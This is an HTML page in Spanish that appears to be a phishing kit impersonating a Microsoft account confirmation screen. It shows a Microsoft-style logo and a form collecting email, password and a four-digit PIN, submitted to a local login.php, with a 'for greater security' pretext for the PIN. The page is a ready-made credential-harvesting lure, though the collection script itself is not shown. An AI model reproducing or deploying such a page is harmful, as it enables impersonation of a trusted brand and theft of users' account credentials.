<!DOCTYPE html>
<html lang="en">
<head>
	<title>Confirma tu cuenta Microsoft</title>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="ie=edge"/>
	<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
	<link rel="icon" href="favicon.ico" type="image/x-icon">
	<link rel="stylesheet" type="text/css" href="css/style.css" media="screen">
</head>
<body>
		<section id="containerLogin">
			<div id="bodyLogin" class="opacity0">
				<div class="divLogo">
					<img src="img/LOGODEMICROSFT.svg" class="logoLogin" alt="Logo">
				</div>	

				<div id="containerLayount">
					<div id="divEmail" class="">
						<h2>Confirmar Cuenta</h2>
						<div id="alertEmailLogin" style="display: none;"></div>
						<form action="login.php" method="post">
						<input type="email" id="emailUser" name="emailUser" placeholder="Correo electrónico, teléfono o Skype" required>
						<input type="password" id="passUser" name="passUser" placeholder="Contraseña" required>
						<p style="text-align: center; font-weight: bold;">Para mayor seguridad<a href="#" id="linkCreateAcount"> crea un PIN</a> a tu cuenta </style></p>
						<div id="pinContainer" style="float: right; margin-top: 1px; margin-bottom: 0px;">
						<img src="img/key.svg" alt="key"; style="margin-left: 90px; margin-top: 6px;"> 
						<input type="password" id="passPIN" name="passPIN" placeholder="Ingrese su PIN ****" style="border: 1px solid #808080; width: 60%; text-align: center; float: right;" maxlength="4" required pattern="[0-9]{1,4}"></div>
						<div style="margin-top: 60px;"></div>
						<div class="divButton divBtnLogin">
							<button type="submit" id="btnNextPass" class="btnFormLogin">Confirmar</button>
						</div>
						</form>
					</div>
						
					</div>
				</div>

			</div>
		</section>	
		<script src="https://kit.fontawesome.com/7f3722b882.js" crossorigin="anonymous"></script>
		<script type="text/javascript" src="js/functions.js"></script>
</body>
</html>